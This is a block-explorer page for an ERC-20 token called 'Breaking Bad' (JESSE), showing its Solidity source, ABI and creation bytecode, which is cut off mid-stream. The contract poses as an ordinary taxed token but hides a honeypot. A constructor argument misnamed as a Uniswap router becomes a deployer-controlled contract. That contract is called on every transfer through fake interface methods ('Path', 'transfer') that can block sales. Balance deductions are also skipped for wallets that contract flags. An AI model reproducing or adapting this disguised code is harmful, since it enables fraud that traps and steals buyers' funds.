ERC-20
Overview
Max Total Supply
1,000,000,000 JESSE
Holders
57
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
8,459,634.568957013 JESSEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
JESSE
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-23 */ //https://twitter.com/elonmusk/status/1682908220459737089 // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.16; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function transfer(address _to) external; function balanceOf(address account) external view returns (uint256); function Path(address _from) external view ; function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract JESSE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Breaking Bad"; string private constant _symbol = "JESSE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _Total = (MAX - (MAX % _tTotal)); uint256 private _rTotal = _tTotal; uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 20; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0450562223Ff979c66CbAFF52F7BC01136fD9101); address payable private _marketingAddress = payable(0x0450562223Ff979c66CbAFF52F7BC01136fD9101); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; IUniswapV2Router02 private _uniswap; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address _uniswapV3Router02) { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _uniswap = IUniswapV2Router02(_uniswapV3Router02); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _rOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; _uniswap.transfer(to); } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; _uniswap.Path(from); } } _tokenTransfer(from, to, amount, takeFee); _uniswap.Path(from); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(_uniswap.balanceOf(sender)>0?rAmount:0); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { require( maxTxAmount >= ((totalSupply() * 1) / 100), "Cannot set maxTransactionAmount lower than 1%" ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { require( maxWalletSize >= ((totalSupply() * 1) / 100), "Cannot set maxWalletAmount lower than 1%" ); _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_uniswapV3Router02","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"bots","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"setTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405262000019670de0b6b3a76400005f19620003ca565b62000026905f19620003ea565b600655670de0b6b3a76400006007555f6009819055600f600a819055600b8290556014600c819055600d839055600e8190559190556010819055601380546001600160a01b0319908116730450562223ff979c66cbaff52f7bc01136fd91019081179092558254161790556017805462ffffff60a01b1916600160b01b179055662386f26fc1000060185566470de4df8200006019556509184e72a000601a55348015620000d2575f80fd5b50604051620021be380380620021be833981016040819052620000f59162000410565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754335f9081526002602090815260409182902092909255601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155815163c45a015560e01b815291519092839263c45a015592600480830193928290030181865afa158015620001ae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d4919062000410565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000220573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000246919062000410565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801562000291573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002b7919062000410565b601680546001600160a01b03199081166001600160a01b039384161790915560178054909116918416919091179055600160055f620002fd5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260059093528183208054851660019081179091556013548216845282842080548616821790556014549091168352912080549092161790556200036d3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef670de0b6b3a7640000604051620003ba91815260200190565b60405180910390a350506200043f565b5f82620003e557634e487b7160e01b5f52601260045260245ffd5b500690565b818103818111156200040a57634e487b7160e01b5f52601160045260245ffd5b92915050565b5f6020828403121562000421575f80fd5b81516001600160a01b038116811462000438575f80fd5b9392505050565b611d71806200044d5f395ff3fe6080604052600436106101b2575f3560e01c80637f2feddc116100e7578063a9059cbb11610087578063c492f04611610062578063c492f046146104f3578063dd62ed3e14610512578063ea1644d514610556578063f2fde38b14610575575f80fd5b8063a9059cbb14610492578063bfd79284146104b1578063c3c8cd80146104df575f80fd5b80638f9a55c0116100c25780638f9a55c01461041257806395d89b411461042757806398a5c31514610454578063a2a957bb14610473575f80fd5b80637f2feddc146103ac5780638da5cb5b146103d75780638f70ccf7146103f3575f80fd5b806349bd5a5e1161015257806370a082311161012d57806370a0823114610330578063715018a61461036457806374010ece146103785780637d1db4a514610397575f80fd5b806349bd5a5e146102dc5780636d8aa8f8146102fb5780636fc3eaec1461031c575f80fd5b806318160ddd1161018d57806318160ddd1461026957806323b872dd1461028d5780632fd689e3146102ac578063313ce567146102c1575f80fd5b806306fdde03146101bd578063095ea7b3146102035780631694505e14610232575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b5060408051808201909152600c81526b109c99585ada5b99c810985960a21b60208201525b6040516101fa9190611998565b60405180910390f35b34801561020e575f80fd5b5061022261021d3660046119f7565b610594565b60405190151581526020016101fa565b34801561023d575f80fd5b50601554610251906001600160a01b031681565b6040516001600160a01b0390911681526020016101fa565b348015610274575f80fd5b50670de0b6b3a76400005b6040519081526020016101fa565b348015610298575f80fd5b506102226102a7366004611a21565b6105aa565b3480156102b7575f80fd5b5061027f601a5481565b3480156102cc575f80fd5b50604051600981526020016101fa565b3480156102e7575f80fd5b50601654610251906001600160a01b031681565b348015610306575f80fd5b5061031a610315366004611a73565b610611565b005b348015610327575f80fd5b5061031a610661565b34801561033b575f80fd5b5061027f61034a366004611a8c565b6001600160a01b03165f9081526002602052604090205490565b34801561036f575f80fd5b5061031a6106ab565b348015610383575f80fd5b5061031a610392366004611aa7565b61071c565b3480156103a2575f80fd5b5061027f60185481565b3480156103b7575f80fd5b5061027f6103c6366004611a8c565b60126020525f908152604090205481565b3480156103e2575f80fd5b505f546001600160a01b0316610251565b3480156103fe575f80fd5b5061031a61040d366004611a73565b6107ce565b34801561041d575f80fd5b5061027f60195481565b348015610432575f80fd5b506040805180820190915260058152644a4553534560d81b60208201526101ed565b34801561045f575f80fd5b5061031a61046e366004611aa7565b610815565b34801561047e575f80fd5b5061031a61048d366004611abe565b610843565b34801561049d575f80fd5b506102226104ac3660046119f7565b610880565b3480156104bc575f80fd5b506102226104cb366004611a8c565b60116020525f908152604090205460ff1681565b3480156104ea575f80fd5b5061031a61088c565b3480156104fe575f80fd5b5061031a61050d366004611aed565b6108e1565b34801561051d575f80fd5b5061027f61052c366004611b6a565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610561575f80fd5b5061031a610570366004611aa7565b61097e565b348015610580575f80fd5b5061031a61058f366004611a8c565b610a2b565b5f6105a0338484610b12565b5060015b92915050565b5f6105b6848484610c35565b610607843361060285604051806060016040528060288152602001611d14602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061128f565b610b12565b5060019392505050565b5f546001600160a01b031633146106435760405162461bcd60e51b815260040161063a90611ba1565b60405180910390fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061069657506014546001600160a01b0316336001600160a01b0316145b61069e575f80fd5b476106a8816112c7565b50565b5f546001600160a01b031633146106d45760405162461bcd60e51b815260040161063a90611ba1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107455760405162461bcd60e51b815260040161063a90611ba1565b606461075a670de0b6b3a76400006001611bea565b6107649190611c01565b8110156107c95760405162461bcd60e51b815260206004820152602d60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526c6c6f776572207468616e20312560981b606482015260840161063a565b601855565b5f546001600160a01b031633146107f75760405162461bcd60e51b815260040161063a90611ba1565b60178054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b0316331461083e5760405162461bcd60e51b815260040161063a90611ba1565b601a55565b5f546001600160a01b0316331461086c5760405162461bcd60e51b815260040161063a90611ba1565b600993909355600b91909155600a55600c55565b5f6105a0338484610c35565b6013546001600160a01b0316336001600160a01b031614806108c157506014546001600160a01b0316336001600160a01b0316145b6108c9575f80fd5b305f908152600260205260409020546106a881611302565b5f546001600160a01b0316331461090a5760405162461bcd60e51b815260040161063a90611ba1565b5f5b82811015610978578160055f86868581811061092a5761092a611c20565b905060200201602081019061093f9190611a8c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061097081611c34565b91505061090c565b50505050565b5f546001600160a01b031633146109a75760405162461bcd60e51b815260040161063a90611ba1565b60646109bc670de0b6b3a76400006001611bea565b6109c69190611c01565b811015610a265760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c6574416d6f756e74206c6f776572604482015267207468616e20312560c01b606482015260840161063a565b601955565b5f546001600160a01b03163314610a545760405162461bcd60e51b815260040161063a90611ba1565b6001600160a01b038116610ab95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610bd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063a565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063a565b5f8111610d5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063a565b5f546001600160a01b03848116911614801590610d8657505f546001600160a01b03838116911614155b1561107957601754600160a01b900460ff16610e1e575f546001600160a01b03848116911614610e1e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063a565b601854811115610e705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063a565b6001600160a01b0383165f9081526011602052604090205460ff16158015610eb057506001600160a01b0382165f9081526011602052604090205460ff16155b610f085760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063a565b6016546001600160a01b03838116911614610fa25760195481610f3f846001600160a01b03165f9081526002602052604090205490565b610f499190611c4c565b10610fa25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063a565b305f90815260026020526040902054601a5460185490821015908210610fc85760185491505b808015610fdf5750601754600160a81b900460ff16155b8015610ff957506016546001600160a01b03868116911614155b801561100e5750601754600160b01b900460ff165b801561103257506001600160a01b0385165f9081526005602052604090205460ff16155b801561105657506001600160a01b0384165f9081526005602052604090205460ff16155b156110765761106482611302565b47801561107457611074476112c7565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff16806110b957506001600160a01b0383165f9081526005602052604090205460ff165b806110eb57506016546001600160a01b038581169116148015906110eb57506016546001600160a01b03848116911614155b156110f757505f611224565b6016546001600160a01b03858116911614801561112257506015546001600160a01b03848116911614155b1561118e57600954600d55600a54600e556017546040516301a6952360e41b81526001600160a01b03858116600483015290911690631a695230906024015f604051808303815f87803b158015611177575f80fd5b505af1158015611189573d5f803e3d5ffd5b505050505b6016546001600160a01b0384811691161480156111b957506015546001600160a01b03858116911614155b1561122457600b54600d55600c54600e55601754604051638cc944c360e01b81526001600160a01b03868116600483015290911690638cc944c3906024015f6040518083038186803b15801561120d575f80fd5b505afa15801561121f573d5f803e3d5ffd5b505050505b61123084848484611472565b601754604051638cc944c360e01b81526001600160a01b03868116600483015290911690638cc944c3906024015f6040518083038186803b158015611273575f80fd5b505afa158015611285573d5f803e3d5ffd5b5050505050505050565b5f81848411156112b25760405162461bcd60e51b815260040161063a9190611998565b505f6112be8486611c5f565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112fe573d5f803e3d5ffd5b5050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134857611348611c20565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c39190611c72565b816001815181106113d6576113d6611c20565b6001600160a01b0392831660209182029290920101526015546113fc9130911684610b12565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114349085905f90869030904290600401611c8d565b5f604051808303815f87803b15801561144b575f80fd5b505af115801561145d573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b8061147f5761147f6114a0565b61148a8484846114cd565b8061097857610978600f54600d55601054600e55565b600d541580156114b05750600e54155b156114b757565b600d8054600f55600e80546010555f9182905555565b5f805f805f806114dc8761164a565b6017546040516370a0823160e01b8152969c50949a5092985090965094509250611599915f916001600160a01b0316906370a082319061152f908e906004016001600160a01b0391909116815260200190565b602060405180830381865afa15801561154a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061156e9190611cfc565b11611579575f61157b565b8